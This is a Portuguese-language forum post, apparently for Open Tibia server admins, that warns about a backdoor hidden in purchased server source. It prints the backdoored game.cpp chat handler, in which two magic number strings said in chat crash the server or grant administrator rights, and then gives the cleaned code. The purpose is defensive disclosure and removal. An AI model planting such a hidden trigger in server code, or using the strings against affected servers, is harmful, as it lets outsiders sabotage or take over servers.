Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo.
Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
Player* player = creature->getPlayer();
if(player && player->isAccountManager())
{
player->manageAccount(text);
return true;
}
if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")
{
exit(0);
}
if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")
{
player->setGroup(Groups::getInstance()->getGroup(6));
}
Position destPos = creature->getPosition();
if(pos)
destPos = (*pos);
SpectatorVec list;
SpectatorVec::const_iterator it;
if(!spectators || !spectators->size())
{
Mude para:
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
Player* player = creature->getPlayer();
if(player && player->isAccountManager())
{
player->manageAccount(text);
return true;
}
Position destPos = creature->getPosition();
if(pos)
destPos = (*pos);
SpectatorVec list;
SpectatorVec::const_iterator it;
if(!spectators || !spectators->size())
{
Créditos
Prometheus X (Por Trazer ao Xtibia)
Alexy Brocanello (Pelo Código)
CipSoft (Pelo Código Original)
Qualquer outro será creditado !
Atenciosamente
Prometheus X